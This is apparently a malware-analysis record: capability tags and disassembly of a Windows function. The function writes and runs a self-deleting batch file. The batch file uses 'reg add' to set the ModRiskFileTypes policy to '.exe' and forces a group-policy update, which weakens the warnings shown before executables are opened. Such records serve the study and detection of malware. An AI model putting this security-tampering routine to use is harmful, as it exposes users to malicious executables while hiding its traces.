Function at 0x40d3f0
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Self delete
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x413878
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
push edi
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_4
push 0x100
lea ecx, [esp + 0xc]
mov dword [esp + 0x40], 0
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov esi, dword [esp + 8]
push 0x100
push 0x100
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReleaseBuffer
xor edi, edi
mov dword [esp + 0x14], edi
lea eax, [esp + 0xc]
xor esi, esi
push eax
push 0xf003f
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations
push 0x80000001
mov byte [esp + 0x50], 1
mov dword [esp + 0x20], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d4a4
mov edi, dword [esp + 0xc]
mov dword [esp + 0x14], edi
jmp 0x40d4a9
mov esi, 1
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_4
push 0x100
lea ecx, [esp + 0x14]
mov byte [esp + 0x40], 2
mov dword [esp + 0x1c], 0x100
call sub.MFC42.DLL_CString::GetBuffer
lea ecx, [esp + 0x18]
lea edx, [esp + 0xc]
push ecx
push eax
push edx
push 0
push str.ModRiskFileTypes
push edi
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40d4f7
mov esi, 1
lea ecx, [esp + 0x20]
call fcn.004123b2
test esi, esi
mov byte [esp + 0x3c], 3
je 0x40d602
lea eax, [esp + 8]
push str.Start.bat
lea ecx, [esp + 0x10]
push eax
push ecx
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push 0x1001
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x48], 4
call sub.MFC42.DLL_CStdioFile::Open
lea ecx, [esp + 0xc]
mov esi, eax
mov byte [esp + 0x3c], 3
call sub.MFC42.DLL_CString::CString
test esi, esi
je 0x40d602
push str._echo_off_n
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CStdioFile::WriteString
push str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations__v_ModRiskFileTypes__t_REG_SZ__d_.exe__f_n
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CStdioFile::WriteString
push str.gpupdate__force_n
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CStdioFile::WriteString
lea edx, [esp + 8]
lea eax, [esp + 0x1c]
push edx
push str.del__q__f
push eax
call sub.MFC42.DLL_operator_2
push str.Start.bat
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x48], 5
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
lea ecx, [esp + 0x20]
push eax
mov byte [esp + 0x40], 6
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0xc]
mov byte [esp + 0x3c], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x3c], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CStdioFile::Close
lea edx, [esp + 8]
push str.Start.bat
lea eax, [esp + 0x20]
push edx
push eax
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x3c], 2
call sub.MFC42.DLL_CStdioFile::CStdioFile
lea ecx, [esp + 0x10]
mov byte [esp + 0x3c], 1
call sub.MFC42.DLL_CString::CString
test edi, edi
je 0x40d629
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 8]
mov dword [esp + 0x3c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x34]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret